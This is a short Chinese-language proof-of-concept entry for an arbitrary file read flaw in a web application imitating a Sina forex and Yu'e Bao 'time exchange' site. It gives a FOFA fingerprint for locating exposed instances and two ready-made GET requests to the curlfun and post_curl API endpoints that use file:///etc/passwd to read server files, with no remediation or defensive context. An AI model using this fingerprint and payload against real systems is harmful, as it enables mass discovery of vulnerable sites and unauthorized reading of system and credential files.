## 仿新浪外汇余额宝时间交易所任意文件读取

![image-20240616192357166](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406161923273.png)

## fofa

```
"/static/index/css/ionic.css" && "devework.com"
```

## poc

```
GET /index.php/index/Api/curlfun?url=file:///etc/passwd   HTTP/1.1
Host: 
```

```
GET /index.php/index/Api/post_curl?url=file:///etc/passwd&data=1  HTTP/1.1
Host: 
```

![image-20240616192912529](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406161929587.png)